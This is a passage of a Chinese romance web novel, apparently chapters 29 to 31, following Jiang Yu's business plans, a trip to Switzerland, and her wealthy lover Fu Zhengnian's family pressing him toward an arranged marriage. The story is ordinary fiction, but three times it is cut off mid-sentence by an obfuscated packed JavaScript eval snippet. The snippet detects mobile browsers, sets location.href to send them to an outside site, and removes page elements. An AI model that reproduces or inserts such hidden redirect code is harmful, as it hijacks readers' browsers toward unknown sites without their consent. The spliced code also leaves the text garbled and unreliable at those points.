有时候付政年听到她的观点和看法都忍不住夸赞,他之前没有想到江余的学习能力那么强,如今看到她一点点的成长起来,甚至还觉得有些骄傲。 利丰如今的业务拓展的比较广,这天开会的时候有人提出根据如今的市场来看,可以在其他地方建立分公司。 江余这段时间也在考虑这个问题,而且也有了初步的方向,经过商议,公司派了一部分人出去做调研。 拿到结果的时候,她直接把宁宏叫到了办公室。 她递了一份文件给宁宏,说:“宁叔,市场调研结果出来了,分公司的选址基本可以确定在上海了,这件事我想交给你全权负责。” 如果确定要建立分公司,那么交由谁来负责,那这个人不出意外也必会是分公司的总经理。 宁宏没有答应,他把文件重新放回江余的桌面,认真道:“江总,我知道你是想让我去上海,好和宁彦离得近一些,但是从能力来看,有人比我更合适。” 宁宏的反应在她的意料之中,江余语重心长道:“宁叔,这件事还真非你不可,别看利丰如今的发展一片大好,但是往长远看,它到一定的程度就会停滞不前了,上头有同行压着,它能让你分一杯羹,但一定不会容许你有超过它的势头,所以我想等分公司成立后,慢慢把重心往上海那边移,再结合那边的发展趋势,实施改革创新,所以上海那边的负责人,一定要是能够信得过的,这个人,非你莫属。” 这段时间跟在付政年身边,江余也并没有只图着玩乐,从那些人的字里行间中,也能够探听到不少的消息。 付政年的势,她也不知道能借多久,很多事自然要先做打算才好。 宁宏听完有些震惊,他没有想到江余会想的那么长远,甚至早就有了计划,但他还是有些疑虑,“那你确定上海那边能够找到新路径吗?” “不确定。”江余如实说,“但总要试试嘛。” 宁宏最终还是被她说服了,接下了这个重任。 随着三伏天的过去,天气也开始慢慢转凉,在被付政年拉去给陈和畅他们当牌搭子的时候,江余听说了一个重磅消息,章烨磊要订婚了。 虽然付政年没有说过,但是从之前的相处来看,他和章烨磊以及朱文华的关系明显要比其他人近一些。 朱文华因为身份所以不常跟他们鬼混,江余对他可以说是一知半解。 但是章烨磊…… 想到那张常年冷冰冰的脸,江余实难想象他会突然订婚。 不过结合付政年他们前段时间的表现来看,她猜测应是章家出了什么问题,才需要联姻。 江余看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186682|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在她身旁默默抽烟的付政年,心里有一股难以言说的情绪。 回家之后,江余趁付政年去洗澡的空隙,打开电脑搜起了要和章烨磊订婚的那位女子。 她家里也是从商的,但并不是像陈氏那种顶级财团,江余仔细的浏览了她所有的信息,在付政年出来前关了电脑。 也是从这天开始,江余待在公司的时间越来越长,甚至有时候回到家都还要经常加班。 付政年都调侃了她好几次,说她的事业心什么时候那么重了。 江余都会笑着说,当然是受了你的耳濡目染。 实际上究竟为了什么,只有她自己知道。 她这种状态一直持续到了国庆前,付政年看她那拼命的模样,说不管怎样国庆都一定要带她出去好好放松一下,怕她这样下去迟早受不住。 江余就这样被他打包带上了去瑞士的飞机,同行的自然还有付岱章烨磊这些人。 江余在飞机上就忍不住吐槽,“你不是说带我出来玩吗,怎么还有那么多人?” 付政年正抓着她的手把玩她细长的手指,听到这话抬头去看她,笑道:“嫌他们碍眼了?那等飞机落地,我们换个地方?” 江余白他一眼,都已经到这了,再换其他地方,其他人该怎么说她。 付政年也不管飞机上那么多人,凑过去亲了她一口,低声哄道:“我是想着跟他们出来方便些,不用自己做攻略找地方,反正有人操这个心,你要是不喜欢,下次我单独带你去玩好不好?” 后面还坐着付岱他们,江余脸皮还没厚到能够当着那么多人的面和他打情骂俏,就说:“你先坐好。” 付政年却没如她的意,甚至还离得更近了些,一直问,好不好,好不好。 他们的动作过真被身后的人看到了,陈和畅带头开始起哄,“四哥,飞机上呢,你们就不能注意点场合?” 江余顿时觉得脸热,忙说:“你说好就好,都听你的,你能不能先坐好。” 付政年看着她一脸窘迫,这才心满意足的放开她。 江余瞪他一眼,转头看向窗外的云层。 付政年说的每错,跟陈和畅他们一起出来,什么都不用操心,每天去哪玩,吃什么,住在什么地方都有人安排的好好的,而她,只负责玩就行了。 而且以他们的品味,也不会轻易踩坑。 江余就这样跟着他们在瑞士疯玩了几天,基本上把该玩的都玩了一遍。 在回国前一晚,他们在一处农庄烧烤,江余有几个不得不回复的邮件,就找了个靠边的位置坐下,把笔记本电脑拿了出来。 付政年给她递了一根烤好的羊肉串。 陈和畅看到后不忘打趣她,“嫂子,出来不好好玩,你那么认真干什么?” 这段时间被他们叫嫂子叫习惯了,江余也没多大反应,只是听到这话的时候下意识看了付政年一眼,笑道:“自然是想以后没那么辛苦啊。” 陈和畅嘁了声,“你还怕四哥养不起你吗?” 江余微微勾唇,没应这话,只是说:“你们先吃,我马上弄完了。” 付政年自然接过她吃完的签子,说:“你快点,有这群土匪在,我怕你等会儿没得吃。” “知道啦。” 30. 30 章烨磊看着两人这般相处方式,神色逐渐凝重。 大家一块儿出来玩,江余也不想扫兴,回了紧要的那封邮件后便没再看手机了。 后来陈和畅几人去找农庄的老板要了一些音乐设备,在酒精的作用下开始载歌载舞。 有电话进来,付政年跟江余说了声就起身往安静处走去,江余也经不住他们劝喝了好几杯酒。 章烨磊不知道什么时候坐到了她身边,他们交集不多,江余只礼貌的跟他碰了个杯就没在说话,专心致志的欣赏起付岱鬼哭狼嚎的歌声。 她有时候也说不清楚对这些人是羡慕还是什么,只要家族不倒,身后永远会有人给他们支撑,他们不为金钱犯愁,活的潇洒肆意,随心随性。 可这些东西似乎也是一个枷锁,他们被困其中,永远无法挣脱。 章烨磊的婚事就是一个很典型的例子。 “你应该知道付政年很讨厌狗吧。”章烨磊突然开口。 跟章烨磊见了那么多次,但他们说过的话可能都不超过10句,江余没想到他会主动跟自己搭话,故而先是疑惑的看了下他,才回他这话,“嗯,知道。” 毕竟在一起那么久,付政年的一些喜好她多少是知道些的。 “其实他小时候很喜欢狗的。” “啊?” 江余十分诧异,付政年对狗的讨厌已经到她在外面摸了别人的狗一下,他全程不会跟她有任何的身体接触,非得她回家洗完澡之后才能靠近他的地步。 所以听到这话的时候她的反应才会那么大。 章烨磊嘴角上扬,脸上难得带笑,只是这笑让江余看了莫名觉得有些不安。 他缓慢开口:“那应该是他六岁的时候吧,有一次我们出去玩,回去的时候在大院门口看到了一只被遗弃的小狗,他瞧着可怜,就去买了些零食给它,从那天起,我们每次从那里路过都能看到那只狗,他也每次都会投喂它,有一天晚上下了特别大的雪,等第二天付老四去门口的时候,那只狗已经被冻得奄奄一息了,他当时就把它带回了家。他爸知道后,不管他怎么说都非得要把狗丢了,他不愿意,就把狗藏在大院里面一个废弃的角落,每天偷偷给它带吃的过去,可几天后,那只狗就不见了,大院里的人可都是些人精,如果不是他家里人吩咐的,谁敢轻易去得罪付家的人。” 江余紧握着酒杯,耐心等着听他说接下去的故事。 “付老四找了一天都没有找到,他回家问他爸,结果他爸已经让人给他送来一只品种纯正的狗,跟他说想养狗就要养只好的,不管他怎么问,都对之前那只狗只字不提,他偏生不死心,第二天又跑出去找,结果在一个垃圾桶旁看到那只狗被冻僵的尸体,也是从那之后,他才开始讨厌狗。” 江余听完后半晌没说话,准确来说是她根本不知道该说什么。 章烨磊看到付政年朝这边走来,他起身之前又跟江余说了句:“我就随口说说,江小姐当个故事听听就好了。” 江余愣愣地点头,说了句“谢谢。” 付政年一回来就看出江余的脸色不太对,他皱眉看了下已经走远了的章烨磊,问道:“他跟你说什么了?” 江余仰头把杯中的酒饮尽,努力排除心中的异样,笑道,“就随便聊了两句。” 付政年狐疑地看着她,“那你脸色怎么那么难看?” “玩了这些天,有点累。” 为防止他再继续追问,江余借口称自己困了,付政年就带她回了房间。 在接下来的一段时间里,章烨磊说的话总是像噩梦一般萦绕她的心间,叫人无法忽视。 刚浮起没多久的念头,也因为这席话彻底消失。 * 之前付政年说他不过生日,她不知道其中缘由,也从来没问过,但她之前看过他的身份证,记得他的生日是10月14,所以她还是提前准备了礼物。 结果到这天下午,付政年却给她发消息说他今晚不一定回来,让她别等他。 就算江余拼命说服自己不在意,但心底总归还是有些失落,她在小区门口打包了许多小吃回去,到家就在电视上找了一部最近的上映的恐怖片,意图转移注意力。 十岁之后,付政年就再没过过生日,但是这一天付家每个人都会回去,叫阿姨做好一桌子的菜等他,可他从来都没有回去过。 今天他原本也没想着要回去,结果下午他刚从墓园出来就遇到了付岱,付岱苦口婆心的劝了他一大堆,最后也是听到他说“老爷子这两年的身体越来越差,你也不想让他百年之后带着对你的愧疚下去吧。”才答应跟他回去。 付政年的脾气大家都知道,他们也都以为今天跟往年一年,就走个过场而已,哪曾想付政年竟然回来了。 付家人除了付政年和付兴平,其他人关系都还不错,如今瞧见他回来,一个个的脸上也都带了喜色。 因为知道今天付政年回来已经很不容易,付兴平也难得对他和颜悦色,招呼他快点坐下。 本就是为了哄老爷子高兴才回来的,付政年也不想生事,他走过去坐下,勾唇道:“谢谢爸。” 他落座后,场面也开始热络起来,本以为这会是一场和谐的家宴,但变故却出现在了付暮雨的身上。 因为她上次被付岱带去了郊外野餐,不但认识了江余,还被他们起哄叫了她几句四婶,所以在一家子其乐融融的时候,她突然冒出来一句,“四叔,你怎么没有把四婶带回来。” 这话一出,气氛瞬间凝滞,所有人都神色各异的看着付政年。 付政年的大嫂韩方雅忙出声打圆场,“小孩子胡说什么呢。” 说完她又看向一旁的阿姨,“暮雨吃饱了,林姨,你带她回房间去玩会儿。” 林姨连忙应下,走过来抱起付暮雨就往餐厅外走。 看所有人都不说话,韩方雅笑笑,有些不好意思地开口,“小孩子胡言乱语,大家不要在意。” 韩方雅说完这话,付岱也顺势道:“这事怪我,是我口无遮拦,天天叫四哥找个嫂子,结果被这小丫头听去,倒差点惹出误会来,大家继续吃饭吧。” “对,继续继续,等会儿菜都要冷了。”付嘉良也说。 到底是付政年的生日,是不是误会不要紧,总之这顿饭是要吃完的。 只不过都没什么心情罢了,尤其是付兴平,脸黑的都没法看。 付鸿习平时在这些小辈面前都是一副和蔼可亲的样子,如今身上的气压也十分低。 闹出这一出,付政年的脸色自然也不是很好看。 好不容易熬到吃完饭,付兴平丢下一句“你自己好自为之”就走了。 了解他的人都知道,他真正生气的时候,是一句废话都不会跟你多说的。 付鸿习对付政年可以说是最宠的了,平时回来都要拉着他陪他下棋或者喝茶。 今天是他的生日,他却什么都没说径直上了楼。 其他人也纷纷寻借口离开,转眼间,就只剩下了他们三兄弟。 付岱好不容易把付政年劝回来,结果成了这副样子,他一脸歉疚地看着付政年,“对不起四哥,上次我不该把小雨带过去的。” 没待付政年说话,一旁的付嘉良抢先出声:“就算没有暮雨,你觉得这事能瞒多久?现在圈子里谁不知道你付四公子的风流韵事,带着她出席各种场合,为了她欠下多少人情,这些事在外头流传就算了,结果还直接捅到了家里来,你想做什么?真准备把人娶回来?” 付嘉良一般很少管付政年,甚至遇到事情还常会帮他打掩护,但最近听到了太多传闻,如今对他也颇有微词。 “玩归玩,没人管你,但你也要注意点分寸,之前都没闹出过事来,我看你是越活越回去了。” 付政年点了根烟,垂眸安静听训,连着一旁的付岱都不敢说话。 发泄一通后,付嘉良语气才平缓下来,他问道:“你现在准备怎么收场?” 付政年紧绷着脸,还是一言未发。 瞧着他这副模样,付嘉良只觉有些头疼,差点没被他气到心梗,“还没想好是吧?” 顿了会儿,他沉重吐出一口气,说:“爸今天有多生气你不是没看到,你是无所谓,但总该为人家姑娘考虑一下吧。” 说完付嘉良没再过多逗留,径直起身离开。 付政年听到这话莫名心惊,迟迟没有做出反应,直到手上的烟燃尽,火星灼痛手指他才回过神来,那双深不见底的眸中,头一次有了茫然。 付岱还想再说什么,他直接打断他,“让我一个人待会儿。” 付政年就这样在老宅的沙发上坐了许久,等阿姨来打扫的时候他才缓缓起身,拿上外套往外走。 才刚出客厅,他就看到了在门口竹椅上坐着刺绣的沉华棠。 见他出来,沉华棠朝他招招手,让他过去。 付政年强扯出一抹笑,走过去在她面前蹲下,“奶奶,晚上就别绣了,伤眼睛。” “最后一点了,”沉华棠笑着说,“你手机里有那姑娘的照片吗,给我看看,我给她做一件旗袍,人家跟了你那么久,临了我总该送件礼物才好。” 付政年直直地看着她,“奶奶……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197175|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“政年,听话,别犯倔。”沉华棠温和的语气里,带着不容置喙。 付政年垂着头,轻闭了下眼,从口袋里翻出手机,点进相册,找了张江余的照片放大移到沉华棠面前。 沉华棠看着镜头里年轻的姑娘,称赞道:“真漂亮,这身段也是极好的,很适合旗袍,一个星期内就能做完,等做好了,你亲自带她过来试试吧。” “不了吧。”付政年说,“我拿给她就行。” 沉华棠轻轻拍了下他的手,眼中闪烁着泪花,声音也带了丝哽咽,“你爷爷也想见见她。” 见此情形,付政年心里堵的难受,他点点头,哑声应道:“好。” * 付政年从老宅离开后就直接回了家,他推门进去,就看见江余横躺在沙发上睡着了,电视机里还显示着电影播完的画面。 他放轻步伐走过去,在她面前蹲下,安静的看着她。 她睡着的时候很乖,身上也比平时多了几分宁静的气质。 她的五官长得恰到好处,立体但又不显硬朗,结合着她的脸型,也有了几分柔和。 跟她这个人一样,柔中带刚。 付政年在心中暗自思衬,觉得这真是一张百看不腻的脸。 他看的有些入迷,竟不自觉的伸手抚摸上去。 也正是因为他的这一举动,江余醒了。 察觉到有人摸她,她几乎是下意识地惊醒,直到看清眼前的人时,她突然高悬的心才落下,“你什么时候回来的,怎么也不叫醒我。” 付政年起身坐到她身旁,笑道:“刚到,正准备叫你,你就醒了。” 江余没有忘记要事,她立即拿手机去看时间,结果显示已经过了零点了,她顿时觉得有些遗憾。 但她也没有过多纠结,说了句“你等我一下。”就穿上拖鞋往房间跑,再出来时,她的怀里抱着三个盒子。 江余把它们全都放在付政年面前,笑看着他,“给你的礼物。” 付政年有些错愕,他看看面前的礼物,又看看江余,问道:“所以你今晚一直在这儿等我?” “今天下班早,回来找了部电影,顺便看看能不能等到你,结果睡着了。”她避重就轻的说。 付政年心里好似被什么触动了一下,他拿过面前的礼物一一打开。 江余在一旁解释道:“送男生的礼物最实用的无非也就是袖扣,领带,钥匙扣,我也不知道你喜欢什么,就全都买了,毕竟我平时也没什么机会送你礼物。” 一样一样的送,也不知道以后有没有这个机会,索性一次送完吧。 付政年看完后又将盒子盖上,笑问道:“所以你这是把你之前送前男友的东西全都再给我送了一遍?” “领带和袖扣没送过。”江余说着又把话题抛回去给他,“我还没有达到付总这实力,送女人东西跟搞批发一样。” 之前知道了孙雨彤和付政年的事,江余也不知道是出于什么心理,竟学起了狗仔,去扒孙雨彤之前的事,她也在一些活动视频上看见了孙雨彤佩戴的首饰包包,跟付政年之前送她的一模一样。 细扒时间线,正好是跟付政年在一起的时间。 江余虽然不喜欢这些东西,但是看到也难免膈应,就把那些东西全都压箱底了,主打一个眼不见心不烦。 付政年失笑道:“那都是让助理去安排的,我是真不知道,后来送你的,都是我亲自挑的。” 听到这话,江余心里舒服了不少,她看着手腕上的手串,突然就笑了,其他的不说,这条手串和那个平安符,确实是独一无二的。 付政年看着她一下转变的态度,也觉得有些好笑,“今天怎么那么好哄?” “好歹是你生日,就不跟你计较了。”她大方说。 “那就多谢我们余余宽宏大量了。” “不用客气。” 两人相视一笑,紧接着便是突如其来的沉默。 四目相对,似乎都想从对方的眼里看到些多余的情绪。 可他们都是擅长藏匿情绪的高手,又哪里会叫人轻易看的出来。 付政年伸手把她往怀里搂,拖着沉重的语气道:“我妈死的那天,刚好是我10岁生日,所以从那之后,我就再也不过生日,但近两年老爷子身体不好,所以我今天才回去的。” 江余轻轻眨了下眼,抬头看他,“我能听吗?” 付政年笑了下,手掌轻轻摸着她的脸,看向她的眼神也极温柔,“放心,不灭你口。” 可她并不是很想听。 江余垂下去的眼中蒙着层化不开的雾。 31. 31 章烨磊的订婚宴在一周后,起初江余并未把这事放在心上。 可就在前一晚,付政年却突然跟她说让她明天陪着他一块儿去。 他们两家是世交,这等场合,家中长辈必然会出席。 江余下意识抬头,轻声问:“我跟你去,合适吗?” 付政年笑了声,手指在她鼻尖上一刮,“有什么不合适的。” 听到这话,江余心中却是一沉,付政年看向她的眼神十分温柔,她也从那幽深的目光中捕捉到了几分眷恋。 章烨磊之前提醒她的话还字字在心,联想起近日付政年的所作所为,有些事似乎也早有预感。 她勾起唇角,微笑道:“那我打电话叫白恬给我准备一套衣服。” 付政年摁住她去拿手机的手,“不用,给你准备的有。” 江余垂眼看着她手腕上的手,不得不说,他的这双手也是长得极好看的,指节分明,劲挺,手背上青筋凸显,看起来十分有力量。 这双手曾于深渊中拯救过她,也将她带入过一次又一次的情潮浪海,可如今触碰到她的肌肤,却没有一点温度。 她的心中逐渐涌起一丝惆怅,好半晌后才点了点头,“好。” 付政年揉了下她的头,说了句“睡觉吧”就揽着她躺下,为她掖好被子,这才伸手去关灯。 眼前被黑暗笼罩,江余没有丝毫睡意,反倒觉得脑中一片清明。 她还记得,一开始的时候简娆跟她说他们身边的女人没有超过半年的,可不知不觉间,他们已经纠缠了整整一年。 马上又要入冬了。 也不知道这个冬天,会不会比去年还冷。 听呼吸声,付政年明显也一直没睡着。 “付政年。” 江余出声唤他。 “嗯?” “你那天下车,是因为看我长的漂亮吗?” 付政年在黑暗中低笑了声,“我在你心里就那么肤浅?” 其实江余也知道,他这样的人,什么国色天香,倾城之姿没有见过,只不过她实在想不到,她身上还有什么值得他另眼相待的品质。 “那还能是因为什么?” 因为什么? 付政年仔细想了下,一开始好像是被她身上独有的宁静所吸引,后来她一再的拒绝,又反倒激起了他心底的征服欲。 可到最后,他自己也说不清楚了。 “哪来的那么多为什么,就看对眼了。”他这样说。 “如果再来一次,你那天还会下车吗?” 付政年摸黑寻到她的唇,在上面落下一个绵长的吻,“当然,我可舍不得我们余余被雨淋。” 江余也不知道信没信,反正后面就没再出声了,只在黑夜中默默流下一行清泪。 可如果再来一次,她那晚一定不会再踏进康乔。 * 第二天,他们中午收拾好才出门,江余也丝毫不关心他会把她带去哪里,问都没问一句。 车辆在一处四合院门前停下,江余下后静站在门口,心里估算着这样一套房值多少钱。 可处于这个位置的房子,哪有那么轻易估算的出来。 付政年停好车后走至她身边牵起她的手,同她说:“老宅平时只有爷爷奶奶在,他们想见见你,就叫我带你过来。” 江余平静的点头,说好。 付政年略有些诧异地看着她,笑问:“你就不怪我自作主张?” 江余原本还把情绪藏的很好,可听到这话的时候是真的差点没绷住,心间泛起阵阵酸涩。 这段时间以来,他事事都尊重她的看法和意见,可这件事,他却提都没有提一句。 因为付家老两口的一句想见她,他就直接把她带来了这。 但他明明都知道,他就这样贸然带她回来,她会觉得忐忑和不安。 你为何就不愿意提前知会我一声呢? 你说的话,我又怎么会拒绝? 院中一位五十来岁的阿姨在打扫落叶,瞧见他们走进来,她立即放下扫帚走过来,“政年回来了。” 听这称呼,他们的关系似乎很亲近。 付政年笑着应了声,“回来了林姨,奶奶呢?” “和老爷子在客厅呢。” 看到付政年身旁的江余,她又道,“不知该如何称呼这位小姐。” 江余笑说:“我叫江余。” “江小姐好,听说你们要过来,他们一早就等着了,快进去吧。”林姨说。 “行,那您先忙着。”说完付政年转头和江余解释,“我妈死后我就一直跟着爷爷,林姨也是从小看着我长大的,跟长辈一样。” “那你应该没少给她添麻烦吧?”她开玩笑说。 付政年笑道:“确实惹了不少麻烦,每次闯了祸,都要叫林姨给我打掩护。” 两人有说有笑的往里走,一进客厅,两位头发半白的老人安静地坐在沙发上,从江余出现的那一刻,他们的眼神就一直落在她身上,将她从头到尾都打量了一遍。 江余却是在看向他们身后墙上挂着的全家福和许多象征着荣誉的锦旗。 到这一刻,她才彻底明白何为家族底蕴,这是她无论怎么努力都无法触及的高度,先前那些妄念在此刻看起来也极为无知。 他们之间,存在着一道无法跨越的鸿沟。 她收回目光,跟着付政年一起唤了声爷爷奶奶。 沉华棠立即站起来牵她的手坐下,笑着夸赞道:“余余是吧,长得真漂亮,一看就是个好孩子。” 江余陪笑道:“谢谢奶奶,我一开始不知道是来这儿,也没有给你们准备礼物,还请你们见谅。” 当然就算是她准备了,人家也未必看得上眼。 “说什么呢,你能来我们就很高兴了。”沉华棠说。 她穿着一身修身旗袍,头发全都低盘在脑后,身上气质独特,就算已年逾七十,也不难看出她年轻时的风姿绰约。 “喝点茶吧。” 沉华棠拿起桌上的茶壶给江余倒了一杯,壶盖却在她放下的时候突然侧翻,滚烫的茶水溅了些在她的手背上。 “奶奶,你没事吧。”江余焦急出声。 一旁的付政年见了也是立即起身,抽了几张纸走过去给她擦拭手背上的茶水,嘴里还在说,“您也是,都不知道小心些,您直接叫我就是了。” 沉华棠说没关系,又不是什么大事,不要大惊小怪的。 此刻,从始至终都像个局外人一样的付鸿习出声了,他叫了声林姨,等她进来后又吩咐她去找药膏来给沉华棠擦上。 随即又对她说:“下次小心些,受伤了孩子们又要心疼。” 明明是关心的话,但是语气平淡无波。 江余忍不住看了他一眼,他那双眼睛漠然地看着这一切,没有一丝温度。 完全不像是对待一个与自己相伴多年的枕边人的态度。 江余心中一揪,万般情绪全都堵在心间,郁结难抒。 林姨很快拿来药膏给沉华棠擦上,她看时间也差不多了,就跟江余说给她准备了礼物,拉着她一块往外走。 付政年原本也想跟着的,结果被沉华棠制止了,“你跟着来做什么,就在这儿陪你爷爷聊会儿天吧。” 付政年无奈只好停住脚步,给了江余一个放宽心的眼神。 瞧着付政年这样,等她们出去后付鸿习没忍住开口,“我还以为是个什么样的姑娘,如今看来也没特别到哪去。” 付政年勾了勾唇,轻笑一声。 是啊,也没什么特别的,可就是舍不得啊。 付鸿习见不得他这幅模样,撑着拐杖起身,“天冷了,最近老是犯困,我去眯一会儿,其他的事,你自己看着处理吧。” 这话听着,明显是在下最后的通牒。 沉华棠带着江余来到一间屋子,里面摆放着各式各样的绣品和衣服。 江余虽然对这方面不是很了解,但是也知道这门手艺的价值。 “奶奶,这些都是您做的吗?”江余问。 沉华棠笑说:“是啊,平时闲着无聊,就绣些东西打发打发时间。” “您真厉害。” “老了,眼睛不好了,现在的针脚都没有年轻时候做的好。”沉华棠走到挂衣服的地方,从上面取下来一套白色的旗袍,“时间有些紧,赶的急了些,你试试合不合身,不合身的话我给你改改。” 旗袍上面绣着成片的红梅,边上还有蕾丝点缀,做的有收腰设计,一看就知做工有多精良。 “奶奶,这太贵重了。”江余没有去接,眼神落在不远处的奖杯上。 她不敢想象这样一件衣服要多少钱。 沉华棠走过来把衣服放她手里,笑着在她手背上拍了下,“哪有什么贵重的,一件衣服而已,快去换上吧。” 她都这样说了,再推辞反倒显得她不懂规矩,江余点点头,拿着衣服走进了一旁的隔间,没多久就换好了。 她出来的时候沉华棠眼里也闪过了一丝惊艳,她的皮肤本来就白,长相更是婉约中带了一丝清冷,这件旗袍穿在她身上,可谓是合适极了。 “合身吗?”沉华棠问。 “很合身。” 沉华棠拉着她仔细打量一圈,满意的点点头,“真好看。” 她又让江余坐到镜子面前,“我给你盘个头,就更好看了。” 江余哪敢让她给自己盘头,赶忙起身,“奶奶,不麻烦了,我自己来就好。” 沉华棠又把她摁回去坐好,“我膝下就玥玥一个孙女,她平时忙,也没什么时间陪我,如今看到你也投缘,你就别跟我见外了。” 听到这话,江余只好乖乖坐下,说:“那就麻烦奶奶了。” 沉华棠用一根木簪把她的头发全都盘在脑后,又用卷发棒把特意留出来的碎发卷了一下,这才大功告成。 江余看着镜中的自己,勾唇笑了笑,“您的手真巧,我从来没有像今天那么好看过。” “你这嘴啊,真会哄人开心。”沉华棠笑说,“我要是有你这么个孙女,做梦都得笑醒。” “我说的是实话。” 沉华棠仔细看了看江余,又走到一旁的柜子里找出来一个盒子,打开把里面的珍珠耳坠拿出来,“刚刚就觉得差了点什么,戴上这个就好了。” 这套衣服就已经价值不菲了,江余哪敢再要她的耳坠,一直推脱。 “余余,奶奶能给你的东西不多,这点东西,你就别推辞了。” 能怎么办呢,听到沉华棠这般语气,她总是会忍不住想起自己的奶奶来,最后她也只能说一句好。 收拾妥当,沉华棠又仔仔细细的看了看江余,轻声道:“去吧,政年在等你。” 江余笑着点点头,“多谢奶奶,您自己照顾好身体。” “嗯,去吧。” 看到江余拉开门走出去,沉华棠叹了口气,“多好一孩子啊。” 再回到客厅,沙发上就只剩下付政年一个人。 看到江余走进去,他的眼神明显一亮,等她走进了,他才说:“真漂亮。” 江余微笑道:“奶奶的眼光自然是极好的。” 付政年认可地点头,还不忘补充,“你本来就长得好看。” 想起他之前的话,江余也没忍住揶揄道:“那看来付总也是一个肤浅的人啊。” 付政年笑了笑,没跟她计较,起身去衣帽架上取下她的包和自己的外套,“走吧,时间不早了。” * 上车后,因为怕弄乱头发,江余坐的直挺挺的,完全不敢往后仰。 付政年看了觉得好笑,“你不累吗?” “那能怎么办,靠上去头发会乱的。”江余有些苦恼。 付政年耸了下肩,用眼神示意她靠过来。 江余也没跟他客气,坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209603|179515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了靠近他一些,挽着他的胳膊就把头侧靠在他肩上。 付政年侧头在她额头上轻轻落下一吻。 平时他们有许多话可以说,可今天也不知是怎么的,竟没有一个人主动开口挑起话题,他们就这样安静的依偎了一路。 黄师傅把车停到地下停车场,但他们谁都没有下车。 大约过了五分钟左右,江余松开付政年坐直了身子,笑着问:“还不走吗?” 付政年盯着她的眼,忽然一把扯过她,重重吻上她的唇,江余愣了一秒后搂住他的脖子,给予他回应。 这个吻缠绵而持久,直到肺腔中快要缺氧时才分开。 付政年紧紧把她抱在怀中,声音沙哑,“再坐一会儿吧。” “好。” 时间一分一秒走着,紧贴在一起的两具身体能够很清晰的感受着彼此的心跳,从一开始的激烈跳动到后来的渐渐平静,这中间过去多久也没人刻意去关注,他们的注意力全都在对方身上,似乎想要永远记住这一刻。 良久后,付政年放开了她,温柔的替她把碎发捋到耳后,“该走了。” 江余看着他笑了下,轻轻点头。 下车后,江余挽着他的胳膊往电梯间走。 章烨磊的订婚宴设在新都会厅,今天能够来这的身份都不简单,如果是平时,江余或许还会产生丝许怯意,但今天她的注意力明显不在上面,倒也不甚在意。 他们到的算晚的了,进去的时候里面已经有了不少人,江余的目光一一从他们身上扫过,这里的不少面孔她都曾在新闻里看到过,包括付政年的堂姐,她都一眼认了出来。 而且今晚还只是订婚宴,她难以想象如果是婚宴,那又将是什么样的盛况。 他们一进去,就不停有人上前跟付政年打招呼,江余不由在心底感慨, 原来这就是祖祖辈辈为他们拼造的一条通天路啊。 今晚付政年全程没有离开过江余身边,江余也因此收到了无数打量的目光,在章烨磊和他未婚妻出来的时候,江余没忍住问了他一句,“他们之前认识吗?” 付政年说:“都是一个圈子的,认识自然是认识的,只不过先前不熟罢了。” 江余笑了下,心道那你还敢光明正大的带着我来这种地方,也不怕你未来的老婆就是这些人里的某一位。 想到这,她又想起了付鸿习和沉华棠的相处方式。 她再看向付政年时,眼中带了一丝心疼。 在她的印象中,付政年不喜欢束缚,也不喜欢按部就班的生活。 她难以想象,这么一个骄傲恣意的人,未来如果为了家族联姻,会是什么样子。 察觉到她的目光,付政年偏头问:“你这样看着我做什么?” 江余摇摇头,若无其事的移开眼,“没事。” 宴会到了后半程,便已陆续的有人离开。 江余看着那道关关合合的自动感应门,先前她一直盼着时间能够慢一些,可现在却觉得,反正迟早都要来,又何必拖拖拉拉的让自己白受煎熬。 她仰头把杯中的红酒饮尽,对付政年说:“我们走吧。” 付政年深深看她一眼,轻点了下头没说话,起身跟她一起往外走。 付岱和陈和畅几人见他们起身,互相对视一眼后纷纷跟江余说了句再见。 江余一一笑着回应,随后头也不回的往外走,没再多看一眼这个跟她格格不入的地方。 进电梯后,付政年伸手去摁负二楼,江余抢先抓住他的胳膊,扬起一个笑容,“我们走前面吧。” 付政年轻皱了下眉,江余丝毫不畏,“这次就听我的吧。” 付政年轻叹了口气,默默收回了手。 电梯在一楼停下,他们并肩走出大厅,快11月的天气吹的她直打冷颤。 付政年本想把外套脱给她,江余却说:“别折腾了。” 付政年默不作声的走到另一侧替她挡了些风。 可惜没什么用,这风还是吹的她眼睛发涩,鼻子发酸,心底也忍不住发疼。 这一年的时间过的真快,眨眼间,那些痛苦,绝望,煎熬,挣扎,仿佛都已经是很久远的事了。 没走出去多远,江余便停下了脚步,她转身面对付政年,就这样安静地看着他。 